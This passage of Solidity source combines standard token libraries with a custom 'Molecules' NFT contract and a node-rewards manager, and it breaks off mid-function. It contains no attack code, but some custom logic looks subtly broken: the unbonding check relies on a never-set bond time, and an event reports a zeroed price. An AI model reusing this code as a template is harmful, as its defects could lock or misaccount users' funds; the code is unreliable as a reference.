function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.8.0;
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
function totalShares() public view returns (uint256) {
return _totalShares;
}
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
function shares(address account) public view returns (uint256) {
return _shares[account];
}
function released(address account) public view returns (uint256) {
return _released[account];
}
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.4;
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value;
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity >=0.8.0;
contract Molecules is ERC721, Ownable {
using SafeMath for uint256;
using IterableMapping for IterableMapping.Map;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address private _owner;
address private _royaltiesAddr;
uint256 public royaltyPercentage;
mapping(address => bool) public excludedList;
uint256 public mintFeeAmount;
string public baseURL;
uint256 public unbondingTime = 604800;
uint256 public constant maxSupply = 1000;
bool public openForPublic;
struct Molecule {
uint256 tokenId;
address mintedBy;
address currentOwner;
uint256 previousPrice;
uint256 price;
uint256 numberOfTransfers;
bool forSale;
bool bonded;
uint256 kind;
uint256 level;
uint256 lastUpgradeTime;
uint256 bondedTime;
}
mapping(uint256 => Molecule) public allMolecules;
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
event SaleToggle(uint256 moleculeNumber, bool isForSale, uint256 price);
event PurchaseEvent(uint256 moleculeNumber, address from, address to, uint256 price);
event moleculeBonded(uint256 moleculeNumber, address owner, uint256 NodeCreationTime);
event moleculeUnbonded(uint256 moleculeNumber, address owner, uint256 NodeCreationTime);
event moleculeGrown(uint256 moleculeNumber, uint256 newLevel);
constructor(
address _contractOwner,
address _royaltyReceiver,
uint256 _royaltyPercentage,
uint256 _mintFeeAmount,
string memory _baseURL,
bool _openForPublic
) ERC721("Molecules","M") Ownable() {
royaltyPercentage = _royaltyPercentage;
_owner = _contractOwner;
_royaltiesAddr = _royaltyReceiver;
mintFeeAmount = _mintFeeAmount.mul(1e18);
excludedList[_contractOwner] = true;
excludedList[_royaltyReceiver] = true;
baseURL = _baseURL;
openForPublic = _openForPublic;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
function mint(uint256 numberOfToken) public payable {
require(openForPublic == true, "not open");
require(msg.sender != address(0));
require(
_allTokens.length + numberOfToken <= maxSupply,
"max supply"
);
require(numberOfToken > 0, "Min 1");
require(numberOfToken <= 3, "Max 3");
uint256 price = 0;
if (excludedList[msg.sender] == false) {
price = mintFeeAmount * numberOfToken;
require(msg.value >= price, "Not enough fee");
payable(_royaltiesAddr).transfer(msg.value);
} else {
payable(msg.sender).transfer(msg.value);
}
uint256 newPrice = mintFeeAmount;
for (uint256 i = 1; i <= numberOfToken; i++) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(msg.sender, newItemId);
Molecule memory newMolecule = Molecule(
newItemId,
msg.sender,
msg.sender,
mintFeeAmount,
0,
0,
false,
false,
0,
1,
0,
0
);
allMolecules[newItemId] = newMolecule;
if (newItemId%200 == 0){
uint256 addPrice = 5;
newPrice += addPrice.mul(1e17);
}
}
mintFeeAmount = newPrice;
}
function changeUrl(string memory url) external onlyOwner {
baseURL = url;
}
function setMoleculeKind(uint256[] memory _tokens, uint256[] memory _kinds) external onlyOwner{
require(_tokens.length > 0, "lists can't be empty");
require(_tokens.length == _kinds.length, "both lists should have same length");
for (uint256 i = 0; i < _tokens.length; i++) {
require(_exists(_tokens[i]), "token not found");
Molecule memory mol = allMolecules[_tokens[i]];
mol.kind = _kinds[i];
allMolecules[_tokens[i]] = mol;
}
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function setPriceForSale(
uint256 _tokenId,
uint256 _newPrice,
bool isForSale
) external {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == msg.sender, "not owner");
Molecule memory mol = allMolecules[_tokenId];
require(mol.bonded == false);
mol.price = _newPrice;
mol.forSale = isForSale;
allMolecules[_tokenId] = mol;
emit SaleToggle(_tokenId, isForSale, _newPrice);
}
function getAllSaleTokens() public view returns (uint256[] memory) {
uint256 _totalSupply = totalSupply();
uint256[] memory _tokenForSales = new uint256[](_totalSupply);
uint256 counter = 0;
for (uint256 i = 1; i <= _totalSupply; i++) {
if (allMolecules[i].forSale == true) {
_tokenForSales[counter] = allMolecules[i].tokenId;
counter++;
}
}
return _tokenForSales;
}
function buyToken(uint256 _tokenId) public payable {
require(_exists(_tokenId));
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner != address(0));
require(tokenOwner != msg.sender);
Molecule memory mol = allMolecules[_tokenId];
require(msg.value >= mol.price);
require(mol.forSale);
uint256 amount = msg.value;
uint256 _royaltiesAmount = amount.mul(royaltyPercentage).div(100);
uint256 payOwnerAmount = amount.sub(_royaltiesAmount);
payable(_royaltiesAddr).transfer(_royaltiesAmount);
payable(mol.currentOwner).transfer(payOwnerAmount);
require(mol.bonded == false, "Molecule is Bonded");
mol.previousPrice = mol.price;
mol.bonded = false;
mol.numberOfTransfers += 1;
mol.price = 0;
mol.forSale = false;
allMolecules[_tokenId] = mol;
_transfer(tokenOwner, msg.sender, _tokenId);
emit PurchaseEvent(_tokenId, mol.currentOwner, msg.sender, mol.price);
}
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner), "out of bounds");
return _ownedTokens[owner][index];
}
function _baseURI()
internal
view
virtual
override(ERC721)
returns (string memory)
{
return baseURL;
}
function _burn(uint256 tokenId) internal override(ERC721) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721) {
super._beforeTokenTransfer(from, to, tokenId);
Molecule memory mol = allMolecules[tokenId];
require(mol.bonded == false,"Molecule is bonded!");
mol.currentOwner = to;
mol.numberOfTransfers += 1;
mol.forSale = false;
allMolecules[tokenId] = mol;
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
uint256 lastTokenIndex = balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
mapping(address => bool) public authorized;
modifier onlyAuthorized() {
require(authorized[msg.sender] || msg.sender == _owner , "Not authorized");
_;
}
function addAuthorized(address _toAdd) public {
require(msg.sender == _owner, 'Not owner');
require(_toAdd != address(0));
authorized[_toAdd] = true;
}
function removeAuthorized(address _toRemove) public {
require(msg.sender == _owner, 'Not owner');
require(_toRemove != address(0));
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function bondMolecule(address account,uint256 _tokenId, uint256 nodeCreationTime) external onlyAuthorized {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == account, "not owner");
Molecule memory mol = allMolecules[_tokenId];
require(mol.bonded == false, "Molecule already bonded");
mol.bonded = true;
allMolecules[_tokenId] = mol;
emit moleculeBonded(_tokenId, account, nodeCreationTime);
}
function unbondMolecule(address account,uint256 _tokenId, uint256 nodeCreationTime) external onlyAuthorized {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == account, "not owner");
Molecule memory mol = allMolecules[_tokenId];
require(mol.bonded == true, "Molecule not bonded");
require(mol.bondedTime + unbondingTime > block.timestamp, "You have to wait 7 days from bonding to unbond");
mol.bonded = false;
allMolecules[_tokenId] = mol;
emit moleculeUnbonded(_tokenId, account, nodeCreationTime);
}
function growMolecule(uint256 _tokenId) external onlyAuthorized {
require(_exists(_tokenId), "token not found");
Molecule memory mol = allMolecules[_tokenId];
mol.level += 1;
allMolecules[_tokenId] = mol;
emit moleculeGrown(_tokenId, mol.level);
}
function getMoleculeLevel(uint256 _tokenId) public view returns(uint256){
Molecule memory mol = allMolecules[_tokenId];
return mol.level;
}
function getMoleculeKind(uint256 _tokenId) public view returns(uint256) {
Molecule memory mol = allMolecules[_tokenId];
return mol.kind;
}
}
pragma solidity ^0.8.4;
contract NodeManager is Ownable, Pausable {
using SafeMath for uint256;
using IterableMapping for IterableMapping.Map;
struct NodeEntity {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 amount;
uint256 tier;
uint256 totalClaimed;
uint256 borrowedRewards;
uint256[3] bondedMolecules;
uint256 bondedMols;
}
IterableMapping.Map private nodeOwners;
mapping(address => NodeEntity[]) private _nodesOfUser;
Molecules public molecules;
address public token;
uint256 public totalNodesCreated = 0;
uint256 public totalStaked = 0;
uint256 public totalClaimed = 0;
uint256 public levelMultiplier = 250;
uint256[] public _tiersPrice = [1, 6, 20, 50, 150];
uint256[] public _tiersRewards = [1250,8000,30000,87500,300000];
uint256[] public _boostMultipliers = [102, 105, 110, 130, 200];
uint256[] public _boostRequiredDays = [35, 56, 84, 183, 365];
uint256[] public _paperHandsTaxes = [150, 100, 40, 0];
uint256[] public _paperHandsWeeks = [1, 2, 3, 4];
uint256[] public _claimTaxFees = [8, 8, 8, 8, 8];
event NodeCreated(
address indexed account,
uint256 indexed blockTime,
uint256 indexed amount
);
event NodeBondedToMolecule(
address account,
uint256 tokenID,
uint256 nodeCreationTime
);
event NodeUnbondedToMolecule(
address account,
uint256 tokenID,
uint256 nodeCreationTime
);
modifier onlyGuard() {
require(owner() == _msgSender() || token == _msgSender(), "NOT_GUARD");
_;
}
constructor() {}
function _isNameAvailable(address account, string memory nodeName)
private
view
returns (bool)
{
NodeEntity[] memory nodes = _nodesOfUser[account];
for (uint256 i = 0; i < nodes.length; i++) {
if (keccak256(bytes(nodes[i].name)) == keccak256(bytes(nodeName))) {
return false;
}
}
return true;
}
function _getNodeWithCreatime(
NodeEntity[] storage nodes,
uint256 _creationTime
) private view returns (NodeEntity storage) {
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
bool found = false;
int256 index = _binarySearch(nodes, 0, numberOfNodes, _creationTime);
uint256 validIndex;
if (index >= 0) {
found = true;
validIndex = uint256(index);
}
require(found, "NODE SEARCH: No NODE Found with this blocktime");
return nodes[validIndex];
}
function _binarySearch(
NodeEntity[] memory arr,
uint256 low,
uint256 high,
uint256 x
) private view returns (int256) {
if (high >= low) {
uint256 mid = (high + low).div(2);
if (arr[mid].creationTime == x) {
return int256(mid);
} else if (arr[mid].creationTime > x) {
return _binarySearch(arr, low, mid - 1, x);
} else {
return _binarySearch(arr, mid + 1, high, x);
}
} else {
return -1;
}
}
function _uint2str(uint256 _i)
private
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function _calculateNodeRewards(
uint256 _lastClaimTime,
uint256 _tier
) private view returns (uint256 rewards) {
uint256 elapsedTime_ = (block.timestamp - _lastClaimTime);
uint256 boostMultiplier = _calculateBoost(elapsedTime_);
uint256 rewardPerMonth = _tiersRewards[_tier];
return
rewardPerMonth.mul(1e18).div(2628000).mul(elapsedTime_).mul(boostMultiplier).div(100).div(10000);
}
function _calculateBoost(uint256 elapsedTime_)
internal
view
returns (uint256)
{
uint256 elapsedTimeInDays_ = elapsedTime_ / 1 days;
if (elapsedTimeInDays_ >= _boostRequiredDays[4]) {
return _boostMultipliers[4];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[3]) {
return _boostMultipliers[3];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[2]) {
return _boostMultipliers[2];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[1]) {
return _boostMultipliers[1];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[0]) {
return _boostMultipliers[0];
} else {
return 100;
}
}
function upgradeNode(address account, uint256 blocktime)
external
onlyGuard
whenNotPaused
{
require(blocktime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
node.tier += 1;
}
function borrowRewards(address account, uint256 blocktime, uint256 amount)
external
onlyGuard
whenNotPaused
{
require(blocktime > 0, "NODE: blocktime must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't have any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
uint256 rewardsAvailable = _calculateNodeRewards(node.lastClaimTime, node.tier).sub(node.borrowedRewards);
require(rewardsAvailable >= amount,"You do not have enough rewards available");
node.borrowedRewards += amount;
}
function createNode(
address account,
string memory nodeName,
uint256 _tier
) external onlyGuard whenNotPaused {
require(_isNameAvailable(account, nodeName), "Name not available");
NodeEntity[] storage _nodes = _nodesOfUser[account];
require(_nodes.length <= 100, "Max nodes exceeded");
uint256 amount = getNodePrice(_tier);
_nodes.push(
NodeEntity({
name: nodeName,
creationTime: block.timestamp,
lastClaimTime: block.timestamp,
amount: amount,
tier: _tier,
totalClaimed: 0,
borrowedRewards: 0,
bondedMolecules: [uint256(0),0,0],
bondedMols: 0
})
);
nodeOwners.set(account, _nodesOfUser[account].length);
emit NodeCreated(account, block.timestamp, amount);
totalNodesCreated++;
totalStaked += amount;
}
function getNodeReward(address account, uint256 _creationTime)
public
view
returns (uint256)
{
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
return _calculateNodeRewards(node.lastClaimTime, node.tier).mul(getNodeAPRIncrease(account, _creationTime)).div(10000).sub(node.borrowedRewards);
}
function getAllNodesRewards(address account) external view returns (uint256[2] memory) {
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
require(nodesCount > 0, "NODE: CREATIME must be higher than zero");
NodeEntity storage _node;
uint256 rewardsTotal = 0;
uint256 taxTotal = 0;
for (uint256 i = 0; i < nodesCount; i++) {
_node = nodes[i];
uint256 nodeReward = _calculateNodeRewards(
_node.lastClaimTime,
_node.tier
).sub(_node.borrowedRewards);
nodeReward = nodeReward;
taxTotal += getNodeFee(account, _node.creationTime, nodeReward);
rewardsTotal += nodeReward;
}
return [rewardsTotal, taxTotal];
}
function cashoutNodeReward(address account, uint256 _creationTime)
external
onlyGuard
whenNotPaused
{
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
uint256 toClaim = _calculateNodeRewards(
node.lastClaimTime,
node.tier
